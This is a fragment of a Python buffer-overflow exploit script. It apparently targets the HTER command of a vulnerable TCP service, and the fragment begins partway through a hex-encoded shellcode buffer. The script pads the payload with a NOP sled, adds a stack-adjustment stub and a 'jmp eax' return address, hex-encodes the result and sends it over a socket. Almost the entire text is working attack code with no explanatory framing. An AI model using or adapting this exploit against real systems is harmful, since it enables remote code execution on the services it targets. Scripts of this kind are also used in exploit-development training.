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buf += "\xdd\x93\x65\x0f\xf9\xf8\x3e\x2e\x58\xa5\x91\x4f\xba"
buf += "\x06\x4d\xea\xb1\xab\x9a\x87\x98\xa3\x6f\xaa\x22\x34"
buf += "\xf8\xbd\x51\x06\xa7\x15\xfd\x2a\x20\xb0\xfa\x4d\x1b"
buf += "\x04\x94\xb3\xa4\x75\xbd\x77\xf0\x25\xd5\x5e\x79\xae"
buf += "\x25\x5e\xac\x61\x75\xf0\x1f\xc2\x25\xb0\xcf\xaa\x2f"
buf += "\x3f\x2f\xca\x50\x95\x58\x61\xab\x7e\xa7\xde\xc3\xf8"
buf += "\x4f\x1d\x23\x14\xcc\xa8\xc5\x7c\xfc\xfc\x5e\xe9\x65"
buf += "\xa5\x14\x88\x6a\x73\x51\x8a\xe1\x70\xa6\x45\x02\xfc"
buf += "\xb4\x32\xe2\x4b\xe6\x95\xfd\x61\x8e\x7a\x6f\xee\x4e"
buf += "\xf4\x8c\xb9\x19\x51\x62\xb0\xcf\x4f\xdd\x6a\xed\x8d"
buf += "\xbb\x55\xb5\x49\x78\x5b\x34\x1f\xc4\x7f\x26\xd9\xc5"
buf += "\x3b\x12\xb5\x93\x95\xcc\x73\x4a\x54\xa6\x2d\x21\x3e"
buf += "\x2e\xab\x09\x81\x28\xb4\x47\x77\xd4\x05\x3e\xce\xeb"
buf += "\xaa\xd6\xc6\x94\xd6\x46\x28\x4f\x53\x66\xcb\x45\xae"
buf += "\x0f\x52\x0c\x13\x52\x65\xfb\x50\x6b\xe6\x09\x29\x88"
buf += "\xf6\x78\x2c\xd4\xb0\x91\x5c\x45\x55\x95\xf3\x66\x7c"
#buf = ""
#for i in xrange(0, 100):
# if i in [0x00, 0x0a, 0x0d]: continue
# buf += chr(i)
exploit = "\x90" * 50
exploit += "\x31\xc0" #0: 31 c0 xor eax,eax
exploit += "\xb4\x06" #2: b4 06 mov ah,0x6
exploit += "\x29\xc4" #4: 29 c4 sub esp,eax
exploit += buf
exploit += "\x90" * (1020-len(exploit))
exploit += struct.pack("<L", 0x625011b1) #jmp eax
def encode_exploit(exploit):
encoded_str = ""
for e in exploit:
encoded_str += "{:02x}".format(ord(e))
return encoded_str
buffer = "HTER "
buffer += encode_exploit(exploit)
buffer += "\r\n"
expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect((host, port))
expl.recv(1024)
expl.send(buffer)
expl.close()